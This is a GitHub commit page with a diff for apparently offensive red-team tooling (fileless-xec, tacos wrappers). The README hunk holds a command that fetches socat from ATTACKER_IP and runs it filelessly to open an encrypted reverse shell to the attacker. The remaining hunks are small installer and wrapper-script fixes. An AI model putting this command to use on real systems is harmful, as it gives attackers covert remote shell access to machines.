Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
  • Loading branch information
ariary committed Sep 29, 2022
2 parents 0caf4c3 + fefc2fa commit 0350bad
Show file tree
Hide file tree
Showing 3 changed files with 7 additions and 5 deletions.
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -119,7 +119,7 @@ python3 -m http.server 8080

# On target machine
# Use already downloaded fileless-xec to download socat and stealthy launch it with argument
fileless-xec [ATTACKER_IP]:8080/socat -- exec:'bash -il',pty,stderr,setsid,sigint,sane OPENSSL:[ATTACKER_IP]:443,verify=0
fileless-xec [ATTACKER_IP]:8080/socat -- exec:'bash -il',pty,stderr,setsid,sigint,sane OPENSSL:[ATTACKER_IP]:[SOCAT_LISTENING_PORT],verify=0
```

### Use dll instead of `.exe`
Expand Down
6 changes: 4 additions & 2 deletions wrapper/prerequisite.sh
Original file line number Diff line number Diff line change
Expand Up @@ -13,10 +13,12 @@ mv light-pty4all $HOME/.tacos/
cd .. && rm -rf tacos

echo "[+] Installing gitar in ${HOME}/.local/bin"
go install github.com/ariary/gitar@latest
curl -s -lO -L https://github.com/ariary/gitar/releases/latest/download/gitar
chmod +x gitar
mv gitar $HOME/.local/bin/

echo "[+] Installing tmux"
sudo apt install tmux

echo "[+] Installing socat"
sudo apt-get update && sudo apt-get install socat
sudo apt-get update && sudo apt-get install socat
4 changes: 2 additions & 2 deletions wrapper/wrapper.sh
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ fi
function trap_ctrlc ()
{
# perform cleanup here
echo "\n[+] perform clean up before exit"
echo -e "\n[+] perform clean up before exit"
rm server.* 2>/dev/null
rm sh 2>/dev/null
rm tacos 2>/dev/null
Expand All @@ -51,7 +51,7 @@ function trap_ctrlc ()
trap "trap_ctrlc" 2

#### Set environment
if [[ "$NGROK" ]] || [[ -z "$BORE" ]];
if [[ "$NGROK" ]] || [[ "$BORE" ]];
then
cp $HOME/.tacos/light-pty4all/socat-listener-behind-tunneling.sh .

Expand Down

0 comments on commit 0350bad

Please sign in to comment.